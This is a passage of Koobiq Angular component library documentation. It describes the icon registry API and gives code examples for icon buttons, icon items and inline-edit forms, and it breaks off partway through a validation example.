- `addSvgIconSet()`: `void` — Registers an SVG sprite file in the default namespace. Icons are looked up by their `symbol id`.
- `addSvgIconSetInNamespace()`: `void` — Registers an SVG sprite file under the given namespace. Duplicate URLs are silently ignored.
- `getNamedSvgIcon()`: `Observable<SVGElement>` — Emits a cloned SVGElement for the given name.
  Accepts "namespace:name" syntax.

#### Functions

##### kbqIconsDictProvider (function)

Registers a name→URL dictionary as an icon resolver. Values are fetched at runtime through `HttpClient`.

A value starting with `<` is taken as inline markup and passed through Angular's HTML sanitizer,
which drops `<svg>` wholesale — register inline icons with
`KbqIconRegistry.addSvgIconLiteral(name, sanitizer.bypassSecurityTrustHtml(svg))` instead, where the
markup is a `SafeHtml` the application has explicitly vouched for.

```ts
kbqIconsDictProvider({ 'chevron-down-s_16': '/assets/icons/chevron-down-s_16.svg' })
```

```ts
function kbqIconsDictProvider(dict: Record<string, string>): Provider;
```

##### kbqIconsProvider (function)

Configures the icon registry to load icons from one or more SVG sprite assets.

```ts
function kbqIconsProvider(...sprites: KbqIconsConfig[]): Provider;
```

##### kbqIconsResolverProvider (function)

Registers a resolver function that maps icon names to SVG strings or URLs.
Multiple resolvers can be registered; they are tried in registration order.

```ts
function kbqIconsResolverProvider(resolver: KbqIconResolver): Provider;
```

#### Types

##### KbqIconButtonSize (type)

Size options for `KbqIconButton`.
- `compact`: 16px icon with padding, 24×24px container.
- `normal`: 24px icon, no padding.

```ts
type KbqIconButtonSize = 'compact' | 'normal';
```

##### KbqIconOptions (interface)

```ts
interface KbqIconOptions {
    viewBox?: string;
    withCredentials?: boolean;
}
```

##### KbqIconResolver (type)

A function that resolves an icon name to either an inline SVG string or a URL string.
Return `null` to indicate this resolver does not handle the given name.

```ts
type KbqIconResolver = (name: string) => string | null;
```

##### KbqIconsConfig (interface)

```ts
interface KbqIconsConfig {
    spriteUrl: string;
    namespace?: string;
}
```

- `spriteUrl`: `string` — URL to the SVG sprite file. Must be served as a static asset.
- `namespace?`: `string` — Optional namespace to register the sprite under.

#### Constants

##### KBQ_ICON_RESOLVER (const)

Multi-valued injection token for icon resolver functions.
Resolvers are tried in registration order; the first non-null result wins.

```ts
const KBQ_ICON_RESOLVER: InjectionToken<KbqIconResolver[]>;
```

##### KBQ_ICONS_CONFIG (const)

```ts
const KBQ_ICONS_CONFIG: InjectionToken<KbqIconsConfig[]>;
```

## Icon Button

- Entry point: `@koobiq/components/icon`
- NgModule: `KbqIconModule`
- Page: https://koobiq.io/en/components/icon-button/overview

### Overview

For icon buttons (clickable icons).

**Example: Icon-button** (`icon-button-overview`)

```ts icon-button-overview-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqCheckbox } from '@koobiq/components/checkbox';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconButton } from '@koobiq/components/icon';

@Component({
    selector: 'icon-button-overview-example',
    imports: [KbqIconButton, KbqCheckbox, FormsModule],
    template: `
        <div class="layout-margin-bottom-l">
            <i
                kbq-icon-button="kbq-magnifying-glass_16"
                aria-label="Search"
                [color]="colors.Theme"
                [disabled]="disabled()"
            ></i>
        </div>

        <kbq-checkbox [(ngModel)]="disabled">disabled</kbq-checkbox>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class IconButtonOverviewExample {
    readonly disabled = model(false);
    colors = KbqComponentColors;
}
```

#### Size

Used when you need to place an icon of a different size into the default-sized container. For example, an Icon Button Medium can contain either an **l**-size icon (16px) or an **xl**-size icon (24px).

**Example: Icon-button size** (`icon-button-size`)

```ts icon-button-size-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconButton } from '@koobiq/components/icon';

@Component({
    selector: 'icon-button-size-example',
    imports: [KbqIconButton],
    template: `
        <div>
            <div class="kbq-text-compact layout-margin-bottom-m icon-button-style-example__style-label">Normal</div>

            <i kbq-icon-button="kbq-magnifying-glass_24" aria-label="Search" [color]="colors.Theme"></i>
        </div>

        <div>
            <div class="kbq-text-compact layout-margin-bottom-m icon-button-style-example__style-label">Compact</div>

            <i kbq-icon-button="kbq-magnifying-glass_16" size="compact" aria-label="Search" [color]="colors.Theme"></i>
        </div>
    `,
    styles: `
        .icon-button-style-example__style-label {
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-left-center layout-gap-3xl'
    }
})
export class IconButtonSizeExample {
    colors = KbqComponentColors;
}
```

##### Padding customization

Icon buttons support overriding internal padding via CSS custom properties.

**Example: Icon-button custom size** (`icon-button-custom-size`)

```ts icon-button-custom-size-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconButton } from '@koobiq/components/icon';

@Component({
    selector: 'icon-button-custom-size-example',
    imports: [KbqIconButton],
    template: `
        <div>
            <div class="kbq-text-compact layout-margin-bottom-m icon-button-style-example__style-label">Normal</div>

            <i
                kbq-icon-button="kbq-magnifying-glass_24"
                class="custom-icon-button_normal"
                aria-label="Search"
                [color]="colors.Theme"
            ></i>
        </div>

        <div>
            <div class="kbq-text-compact layout-margin-bottom-m icon-button-style-example__style-label">Compact</div>

            <i
                kbq-icon-button="kbq-magnifying-glass_16"
                class="custom-icon-button_compact"
                size="compact"
                aria-label="Search"
                [color]="colors.Theme"
            ></i>
        </div>
    `,
    styles: `
        .icon-button-style-example__style-label {
            color: var(--kbq-foreground-contrast-secondary);
        }

        .custom-icon-button_compact {
            --kbq-icon-button-size-small-vertical-padding: var(--kbq-size-xs);
            --kbq-icon-button-size-small-horizontal-padding: var(--kbq-size-xs);
        }

        .custom-icon-button_normal {
            --kbq-icon-button-size-normal-vertical-padding: var(--kbq-size-xxs);
            --kbq-icon-button-size-normal-horizontal-padding: var(--kbq-size-xxs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-left-center layout-gap-3xl'
    }
})
export class IconButtonCustomSizeExample {
    colors = KbqComponentColors;
}
```

#### Style

**Example: Icon-button style** (`icon-button-style`)

```ts icon-button-style-example.ts
import { TitleCasePipe } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconButton } from '@koobiq/components/icon';

@Component({
    selector: 'icon-button-style-example',
    imports: [KbqIconButton, TitleCasePipe],
    template: `
        @for (color of colors; track color) {
            <div class="icon-button-style-example__style-container">
                <div class="kbq-text-compact layout-margin-bottom-m icon-button-style-example__style-label">
                    {{ color | titlecase }}
                </div>

                <i kbq-icon-button="kbq-magnifying-glass_16" size="compact" aria-label="Search" [color]="color"></i>
            </div>
        }
    `,
    styles: `
        :host {
            flex-wrap: wrap;
            max-width: 448px;
        }

        .icon-button-style-example__style-container {
            width: 128px;
        }

        .icon-button-style-example__style-label {
            color: var(--kbq-foreground-contrast-secondary);
        }

        .kbq-icon-button {
            display: inline-flex;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-left-center layout-gap-3xl'
    }
})
export class IconButtonStyleExample {
    colors = [
        KbqComponentColors.Theme,
        KbqComponentColors.Contrast,
        KbqComponentColors.ContrastFade,
        KbqComponentColors.Error,
        KbqComponentColors.Success,
        KbqComponentColors.Warning
    ];
}
```

### API

The API of `@koobiq/components/icon` is listed under Icon.

## Icon Item

- Entry point: `@koobiq/components/icon`
- NgModule: `KbqIconModule`
- Page: https://koobiq.io/en/components/icon-item/overview

### Overview

A backing icon can be used instead of an illustration where you want to attract attention with graphics.

**Example: Icon-item** (`icon-item-overview`)

```ts icon-item-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'icon-item-overview-example',
    imports: [
        KbqIconModule
    ],
    template: `
        <div class="example-icon-item-container layout-column">
            <i kbq-icon-item="kbq-bell_16" [color]="colors.Theme"></i>
        </div>
    `,
    styleUrls: ['icon-item-overview-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class IconItemOverviewExample {
    colors = KbqComponentColors;
}
```

```css icon-item-overview-example.css
.example-icon-item-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}
```

#### Color

**Example: Icon-item color** (`icon-item-color`)

```ts icon-item-color-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'icon-item-color-example',
    imports: [
        KbqIconModule
    ],
    template: `
        <div class="example-icon-item-layout layout-row">
            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Theme"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Theme</div>
            </div>

            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Contrast"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Contrast</div>
            </div>

            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Success"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Success</div>
            </div>

            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Warning"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Warning</div>
            </div>

            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Error"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Error</div>
            </div>
        </div>
    `,
    styleUrls: ['icon-item-color-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class IconItemColorExample {
    colors = KbqComponentColors;
}
```

```css icon-item-color-example.css
.example-icon-item-layout {
    width: 100%;
    height: 100%;
    min-height: 100%;

    display: flex;
    justify-content: space-around;
    align-items: center;
}

.example-icon-item-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}

.example-icon-item-container__name {
    padding-top: 8px;
}
```

#### Variant

**Example: Icon Item Variant** (`icon-item-variant`)

```ts icon-item-variant-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'icon-item-variant-example',
    imports: [
        KbqIconModule
    ],
    template: `
        <div class="example-icon-item-layout layout-row">
            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Theme"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Solid</div>
            </div>

            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Theme" [fade]="true"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Fade</div>
            </div>
        </div>
    `,
    styleUrls: ['icon-item-variant-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class IconItemVariantExample {
    colors = KbqComponentColors;
}
```

```css icon-item-variant-example.css
.example-icon-item-layout {
    width: 100%;
    height: 100%;
    min-height: 100%;

    display: flex;
    justify-content: space-around;
    align-items: center;
}

.example-icon-item-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}

.example-icon-item-container__name {
    padding-top: 8px;
}
```

#### Size

**Example: Icon-item size** (`icon-item-size`)

```ts icon-item-size-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'icon-item-size-example',
    imports: [
        KbqIconModule
    ],
    template: `
        <div class="example-icon-item-layout layout-row">
            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [big]="true" [color]="colors.Theme"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Big</div>
            </div>

            <div class="example-icon-item-container">
                <i kbq-icon-item="kbq-bell_16" [color]="colors.Theme"></i>
                <div class="example-icon-item-container__name kbq-text-normal">Normal</div>
            </div>
        </div>
    `,
    styleUrls: ['icon-item-size-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class IconItemSizeExample {
    colors = KbqComponentColors;
}
```

```css icon-item-size-example.css
.example-icon-item-layout {
    width: 100%;
    height: 100%;
    min-height: 100%;

    display: flex;
    justify-content: space-around;
    align-items: center;
}

.example-icon-item-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}

.example-icon-item-container__name {
    padding-top: 8px;
}
```

### API

The API of `@koobiq/components/icon` is listed under Icon.

## Inline edit

- Entry point: `@koobiq/components/inline-edit`
- NgModule: `KbqInlineEditModule`
- Page: https://koobiq.io/en/components/inline-edit/overview

### Overview

Inline editing can replace a traditional form when the user only needs to update a few fields among many available parameters.

#### Vertical list

**Example: Inline edit vertical list** (`inline-edit-vertical-list`)

```ts inline-edit-vertical-list-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'inline-edit-vertical-list-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        NgTemplateOutlet
    ],
    template: `
        <form [formGroup]="form">
            <kbq-inline-edit>
                <kbq-label>Country</kbq-label>

                <div class="example-inline-text" kbqInlineEditViewMode>
                    <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.country.value }" />
                </div>
                <kbq-form-field kbqInlineEditEditMode>
                    <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.country" />
                </kbq-form-field>
            </kbq-inline-edit>

            <kbq-inline-edit>
                <kbq-label>Capital</kbq-label>

                <div class="example-inline-text" kbqInlineEditViewMode>
                    <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.capital.value }" />
                </div>
                <kbq-form-field kbqInlineEditEditMode>
                    <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.capital" />
                </kbq-form-field>
            </kbq-inline-edit>

            <kbq-inline-edit>
                <kbq-label>Currency</kbq-label>

                <div class="example-inline-text" kbqInlineEditViewMode>
                    <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.currency.value }" />
                </div>
                <kbq-form-field kbqInlineEditEditMode>
                    <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.currency" />
                </kbq-form-field>
            </kbq-inline-edit>
        </form>

        <ng-template #view let-value>
            @if (!value) {
                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
            } @else {
                <span>{{ value }}</span>
            }
        </ng-template>
    `,
    styles: `
        form {
            width: 100%;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditVerticalListExample {
    protected readonly placeholder = 'Placeholder';

    protected readonly form = new FormGroup({
        country: new FormControl('Spain'),
        capital: new FormControl('Madrid'),
        currency: new FormControl('Euro')
    });
}
```

#### Horizontal list

In a horizontal list, you can adjust the column width of the parameter name and set it to either a fixed or relative value.

**Example: Inline edit horizontal list** (`inline-edit-horizontal-list`)

```ts inline-edit-horizontal-list-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'inline-edit-horizontal-list-example',
    imports: [
        NgTemplateOutlet,
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqInputModule
    ],
    template: `
        <form [formGroup]="form">
            <kbq-dl [vertical]="false">
                <kbq-dt>Country</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit>
                        <div class="example-inline-text" kbqInlineEditViewMode>
                            <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.country }" />
                        </div>
                        <kbq-form-field kbqInlineEditEditMode>
                            <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.country" />
                        </kbq-form-field>
                    </kbq-inline-edit>
                </kbq-dd>

                <kbq-dt>Capital</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit>
                        <div class="example-inline-text" kbqInlineEditViewMode>
                            <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.capital }" />
                        </div>
                        <kbq-form-field kbqInlineEditEditMode>
                            <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.capital" />
                        </kbq-form-field>
                    </kbq-inline-edit>
                </kbq-dd>

                <kbq-dt>Currency</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit>
                        <div class="example-inline-text" kbqInlineEditViewMode>
                            <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.currency }" />
                        </div>
                        <kbq-form-field kbqInlineEditEditMode>
                            <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.currency" />
                        </kbq-form-field>
                    </kbq-inline-edit>
                </kbq-dd>
            </kbq-dl>
        </form>

        <ng-template #view let-control>
            @if (!control.value) {
                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
            } @else {
                {{ control.value }}
            }
        </ng-template>
    `,
    styles: `
        form {
            width: 100%;
        }

        .kbq-dl {
            --kbq-description-list-size-horizontal-gap-vertical: 0;
        }

        .kbq-dt {
            display: inline-flex;
            align-items: center;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditHorizontalListExample {
    protected readonly placeholder = 'Placeholder';

    protected readonly form = new FormGroup({
        country: new FormControl('Spain'),
        capital: new FormControl('Madrid'),
        currency: new FormControl('Euro')
    });
}
```

#### Without labels

**Example: Inline edit without label** (`inline-edit-without-label`)

```ts inline-edit-without-label-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'inline-edit-without-label-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule
    ],
    template: `
        <kbq-inline-edit>
            <div class="example-inline-text" kbqInlineEditViewMode>
                @if (!!control.value) {
                    <span>{{ control.value }}</span>
                } @else {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput [placeholder]="placeholder" [formControl]="control" />
            </kbq-form-field>
        </kbq-inline-edit>
    `,
    styles: `
        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditWithoutLabelExample {
    protected readonly placeholder = 'Country';
    protected readonly control = new FormControl('Spain');
}
```

#### Input controls

**Example: Inline edit controls** (`inline-edit-controls`)

```ts inline-edit-controls-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqTagsModule } from '@koobiq/components/tags';
import { KbqTextareaModule } from '@koobiq/components/textarea';

@Component({
    selector: 'inline-edit-controls-example',
    imports: [
        NgTemplateOutlet,
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqInputModule,
        KbqTextareaModule,
        KbqOptionModule,
        KbqSelectModule,
        KbqBadgeModule,
        KbqTagsModule
    ],
    template: `
        <form style="width: 100%" [formGroup]="form">
            <kbq-dl>
                <kbq-dt>Text Field</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit>
                        <div class="example-inline-text" kbqInlineEditViewMode>
                            <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.input }" />
                        </div>
                        <kbq-form-field kbqInlineEditEditMode>
                            <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.input" />
                        </kbq-form-field>
                    </kbq-inline-edit>
                </kbq-dd>

                <kbq-dt class="example-multiline-text__header">Textarea</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit #textareaInlineEdit showActions (saved)="update()">
                        <div kbqInlineEditViewMode class="example-inline-text__textarea-view">
                            @if (!textareaDisplayValue()) {
                                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                            } @else {
                                <span>{{ textareaDisplayValue() }}</span>
                            }
                        </div>
                        <div kbqInlineEditEditMode>
                            @if (textareaInlineEdit.mode() === 'edit') {
                                <kbq-form-field>
                                    <textarea
                                        kbqTextarea
                                        [maxRows]="maxRows"
                                        [placeholder]="placeholder"
                                        [formControl]="form.controls.textarea"
                                    ></textarea>
                                </kbq-form-field>
                            }
                        </div>
                    </kbq-inline-edit>
                </kbq-dd>

                <kbq-dt class="example-multiline-text__header">Select Multiple</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit>
                        <div
                            kbqInlineEditViewMode
                            class="layout-flex layout-row layout-gap-xxs"
                            style="flex-wrap: wrap"
                        >
                            @if (form.controls.selectMultiple.value!.length > 0) {
                                @for (badge of form.controls.selectMultiple.value; track badge) {
                                    <kbq-badge>{{ badge }}</kbq-badge>
                                }
                            } @else {
                                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                            }
                        </div>
                        <kbq-form-field kbqInlineEditEditMode>
                            <kbq-select
                                multiple
                                multiline
                                [placeholder]="placeholder"
                                [formControl]="form.controls.selectMultiple"
                            >
                                @for (option of options; track option) {
                                    <kbq-option [value]="option">{{ option }}</kbq-option>
                                }
                                <kbq-cleaner />
                            </kbq-select>
                        </kbq-form-field>
                    </kbq-inline-edit>
                </kbq-dd>

                <kbq-dt>Select</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit>
                        <div class="example-inline-text" kbqInlineEditViewMode>
                            <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.select }" />
                        </div>
                        <kbq-form-field kbqInlineEditEditMode>
                            <kbq-select [placeholder]="placeholder" [formControl]="form.controls.select">
                                @for (option of options; track option) {
                                    <kbq-option [value]="option">{{ option }}</kbq-option>
                                }
                            </kbq-select>
                        </kbq-form-field>
                    </kbq-inline-edit>
                </kbq-dd>
            </kbq-dl>
        </form>

        <ng-template #view let-control>
            @if (!control.value) {
                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
            } @else {
                {{ control.value }}
            }
        </ng-template>
    `,
    styles: `
        .kbq-dt {
            width: 104px;
            display: inline-flex;
            align-items: center;
        }

        .kbq-dl {
            grid-template-columns: 104px minmax(0, 1fr);
            --kbq-description-list-size-horizontal-content-gap-horizontal: var(--kbq-size-xxs);
            --kbq-description-list-size-horizontal-gap-vertical: var(--kbq-size-3xs);
        }

        .example-multiline-text__header {
            padding-top: var(--kbq-size-xs);
            align-items: flex-start;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }

        .example-inline-text__textarea-view {
            overflow: hidden;
            white-space: pre-wrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditControlsExample {
    protected readonly maxRows = 20;
    protected readonly placeholder = 'Placeholder';
    protected readonly options = Array.from({ length: 10 }).map((_, i) => `Option #${i + 1}`);

    protected readonly form = new FormGroup({
        input: new FormControl('Spain'),
        textarea: new FormControl(
            'Spanish football is characterized by technical skill, tactical innovation, and fierce regional rivalries.'
        ),
        selectMultiple: new FormControl(this.options.slice(0, 5)),
        select: new FormControl(this.options[0])
    });

    protected readonly textareaDisplayValue = signal(this.form.controls.textarea.value);

    protected update() {
        this.textareaDisplayValue.set(this.form.controls.textarea.value);
    }
}
```

#### Empty state

Parameters should never appear as blank in view mode. Instead, use placeholder text to signal that a field can be edited.

By default, the system displays _“Not filled”_, but it’s better to use contextual messages for clarity. For example: _Responsible: Not assigned_, _End date: Not specified_.

For fields without labels, the placeholder can include the field name, e.g., _Description: Not provided_, _Operator: Not set_, _Incident type: Not defined_.

**Example: Inline edit unfilled** (`inline-edit-unfilled`)

```ts inline-edit-unfilled-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'inline-edit-unfilled-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        KbqDl,
        KbqDt,
        KbqDd,
        NgTemplateOutlet
    ],
    template: `
        <div class="flex">
            <form [formGroup]="form">
                <kbq-dl>
                    <kbq-dt>Country</kbq-dt>
                    <kbq-dd>
                        <kbq-inline-edit>
                            <div class="example-inline-text" kbqInlineEditViewMode>
                                <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.country }" />
                            </div>
                            <kbq-form-field kbqInlineEditEditMode>
                                <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.country" />
                            </kbq-form-field>
                        </kbq-inline-edit>
                    </kbq-dd>

                    <kbq-dt>Capital</kbq-dt>
                    <kbq-dd>
                        <kbq-inline-edit>
                            <div class="example-inline-text" kbqInlineEditViewMode>
                                <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.capital }" />
                            </div>
                            <kbq-form-field kbqInlineEditEditMode>
                                <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.capital" />
                            </kbq-form-field>
                        </kbq-inline-edit>
                    </kbq-dd>

                    <kbq-dt>Currency</kbq-dt>
                    <kbq-dd>
                        <kbq-inline-edit>
                            <div class="example-inline-text" kbqInlineEditViewMode>
                                <ng-container
                                    *ngTemplateOutlet="view; context: { $implicit: form.controls.currency }"
                                />
                            </div>
                            <kbq-form-field kbqInlineEditEditMode>
                                <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.currency" />
                            </kbq-form-field>
                        </kbq-inline-edit>
                    </kbq-dd>
                </kbq-dl>
            </form>
        </div>

        <ng-template #view let-control>
            @if (!control.value) {
                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
            } @else {
                {{ control.value }}
            }
        </ng-template>
    `,
    styles: `
        .kbq-dl {
            --kbq-description-list-size-horizontal-gap-vertical: 0;
        }

        .kbq-dt {
            display: inline-flex;
            align-items: center;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditUnfilledExample {
    protected readonly placeholder = 'Empty';

    protected readonly form = new FormGroup({
        country: new FormControl('Spain'),
        capital: new FormControl(''),
        currency: new FormControl('Euro')
    });
}
```

#### Validation

Exiting edit mode attempts to save changes. An invalid value is never written through: the editor stays open and the field is highlighted, while focus stays wherever the interaction left it.

The error message is opt-in. Pass `validationTooltip` to get the red tooltip the example below shows — without it nothing is displayed, and a `kbq-error` inside the form field is the alternative. `showTooltipOnError` switches the tooltip off again without dropping the message.

Validation is run against the control itself rather than against its error styling, so a value the user never touched is rejected as well — a select that commits from `(selectionChange)` cannot write an invalid option through.

**Example: Inline edit validation** (`inline-edit-validation`)

```ts inline-edit-validation-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqToolTipModule, KbqTooltipTrigger } from '@koobiq/components/tooltip';

const IP_PATTERN =
    /^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/;

const restSymbolsRegex = /[^0-9.]+/g;

@Component({
    selector: 'inline-edit-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        KbqIconModule,
        KbqToolTipModule
    ],
    template: `
        <kbq-inline-edit [validationTooltip]="'Error message'" [tooltipPlacement]="tooltipPlacement">
            <kbq-label>Not empty</kbq-label>

            <div class="example-inline-text" kbqInlineEditViewMode>
                @if (!inputControl.value) {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                } @else {
                    <span>
                        {{ inputControl.value }}
                    </span>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput placeholder="Placeholder" [formControl]="inputControl" />
            </kbq-form-field>
        </kbq-inline-edit>

        <kbq-inline-edit [validationTooltip]="'Invalid IP: RFC non-compliant'" [tooltipPlacement]="tooltipPlacement">
            <kbq-label>IP-address</kbq-label>

            <div class="example-inline-text" kbqInlineEditViewMode>
                @if (!ipAddressControl.value) {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                } @else {
                    <span>
                        {{ ipAddressControl.value }}
                    </span>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <input
                    kbqInput
                    [formControl]="ipAddressControl"
                    [kbqEnterDelay]="10"
                    [kbqPlacement]="tooltipPlacement"
